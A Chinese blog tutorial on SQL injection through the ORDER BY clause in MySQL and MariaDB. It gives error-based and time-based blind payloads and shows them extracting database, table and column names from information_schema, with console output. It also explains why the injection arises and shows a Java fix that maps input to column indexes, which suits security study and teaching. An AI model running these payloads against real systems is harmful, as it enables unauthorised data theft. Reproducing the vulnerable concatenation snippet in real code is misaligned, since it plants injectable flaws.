当前位置:网站首页>Order by注入
Order by注入
2022-07-02 09:32:00 【小莫神和他的的】
Order by注入
order by注入顾名思义可控参数在oder by后,可能出现在排序功能,想象一个功能可以根据用户输入的参数选择排名榜单,例如通过商品的名称select * from test01 order by [name];或者通过商品的价格select * from test01 order by [price];。
例如select * from test01 order by [args];
可以通过下面几个方法测试是否存在注入点:
利用报错
可以构造一些报错语句得到相关信息
regexp
select 1 regexp if(1=1,1,0x00) #正常显示
select 1 regexp if(1=2,1,0x00) #出现报错
这个在10.5.12-MariaDB-1已经不行了,而在mysql5.7还能使用
#10.5.12-MariaDB-1均正常显示
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
#mysql5.7.18则会报错
mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
3 rows in set (0.00 sec)
mysql> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
updatexml
这个就还是可以的
updatexml(1,if(1=1,1,user()),1) #正常显示
updatexml(1,if(1=2,1,user()),1) #出现报错
extractvalue
这个也是好用的
extractvalue(1,if(1=1,1,user()),1) #正常显示
extractvalue(1,if(1=2,1,user()),1) #出现报错
当报错显示被BAN掉之后可以考虑时间盲注。
利用时间盲注
注意如果直接if(1=2,1,sleep(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击。所以sleep时间可以设置的小一点。
if(1=1,1,sleep(time)) #正常显示
if(1=2,1,sleep(time)) #睡眠 (time*表中条目) 秒
数据猜解
这一部分的核心跟where注入没有什么区别。
数据库名猜解
#mysql5.7.18
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x74),1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x6D),1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
而我的数据库10.5.12-MariaDB-1则不能使用regexp来进行猜解,所以可以用updexml和extractvalue。
#mysql5.7.18
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x74),1,user()),1));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x6D),1,user()),1));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
其实利用思路没啥区别了,然后下面的几个网上的payload只在mysql5.5成功,往上的5.7就不行了。
猜解表名
select * from table order by (select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00));
猜解列名
select * from table order by (select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x746573743031 limit 0,1),1,1)=0x70,1,0x00));
原因是下面几个payload在往上版本用NULL代替了报错。
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00);
+------------------------------------+
| 1 |
+------------------------------------+
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x64),1,0x00);
+------------------------------------+
| NULL |
+------------------------------------+
而select * from table order by NULL和select * from table order by 1的结果是一样的。
MariaDB [mysql]> select * from test01 order by NULL;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
产生order by的原因
order by后的参数不能被单引号包裹,这会被解析成一个单纯的字符串。
mysql> select * from test01 order by passwd;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 4 | jack | 123456 |
| 2 | jackk | 678910 |
+----+----------+--------+
mysql> select * from test01 order by 'passwd';
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
可以发现select * from test01 order by 'passwd'并没有按照预期进行排序。
而在预编译中如果直接在select * from test01 order by ?中用passwd占位会把passwd当成字符串而变成select * from test01 order by 'passwd'。
所以会出现使用字符串拼接的情况,而有字符串拼接就有了SQL注入的可能。
String orderString = "passwd";
String sql01 = "select * from test01 order by" + orderString;
PreparedStatement preSql01 = conn.prepareStatement(sql01);
而这时的预编译其实相当于多次一举了,我们的恶意输入也将一同被预编译。
防御的手段第一个就是常见的过滤检查,限制非法输入。另一种就是使用序号来代替字段名。
例如passwd是第3列我们可以用select * from test01 order by 3来替代。
至于编程实现也很简单,可以设置一个枚举或者MAP变量,然后拿用户输入passwd进行比对返回序号,然后拿序号预编译。
int index = map.get("passwd"); //从map获取对应序号
String sql02 = "select * from test01 order by ?";
PreparedStatement preSql02 = conn.prepareStatement(sql02);
preSql02.setInt(1,index);
边栏推荐
- Special topic of binary tree -- acwing 1497 Traversal of the tree (use post and mid order traversal to build a binary tree)
- ctf 记录
- 八大排序汇总
- [quick application] there are many words in the text component. How to solve the problem that the div style next to it will be stretched
- 对毕业季即将踏入职场的年轻人的一点建议
- 洛谷 P4281 [AHOI2008]紧急集合 / 聚会(树上倍增 LCA)
- Resources读取2d纹理 转换为png格式
- What are the software product management systems? Inventory of 12 best product management tools
- Jenkins installation
- Primary key policy problem
猜你喜欢

二叉树专题--AcWing 3384. 二叉树遍历(已知先序遍历 边建树 边输出中序遍历)

Why does LabVIEW lose precision in floating point numbers

二.Stm32f407芯片GPIO编程,寄存器操作,库函数操作和位段操作

TIPC 寻址2

TIPC Cluster5
![二叉树专题--洛谷 P3884 [JLOI2009]二叉树问题(dfs求二叉树深度 bfs求二叉树宽度 dijkstra求最短路)](/img/c2/bb85b681af0f78b380b1d179c7ea49.png)
二叉树专题--洛谷 P3884 [JLOI2009]二叉树问题(dfs求二叉树深度 bfs求二叉树宽度 dijkstra求最短路)

从攻击面视角,看信创零信任方案实践

ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘

Huawei game failed to initialize init with error code 907135000

二叉树专题--AcWing 18. 重建二叉树(利用前、中序遍历,构建二叉树)
随机推荐
Summary of cases of players' disconnection and reconnection in Huawei online battle service
TIPC Cluster5
【云原生】2.5 Kubernetes 核心实战(下)
C file and folder operation
How to transfer event objects and user-defined parameters simultaneously in Huawei express applications
What are the software product management systems? Inventory of 12 best product management tools
洛谷 P3398 仓鼠找 sugar(树上倍增 lca 判断树中两条路径是否相交 结论)
Openmldb meetup No.4 meeting minutes
三.芯片啟動和時鐘系統
String (Analog
对毕业季即将踏入职场的年轻人的一点建议
ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘
STM32单片机编程学习
JVM之垃圾回收器
OpenMLDB Meetup No.4 会议纪要
LVM operation
[in simple terms, play with FPGA learning 3 ----- basic grammar]
2022 love analysis · panoramic report of digital manufacturers of state-owned enterprises
QT learning diary 7 - qmainwindow
Approximate sum count (approximate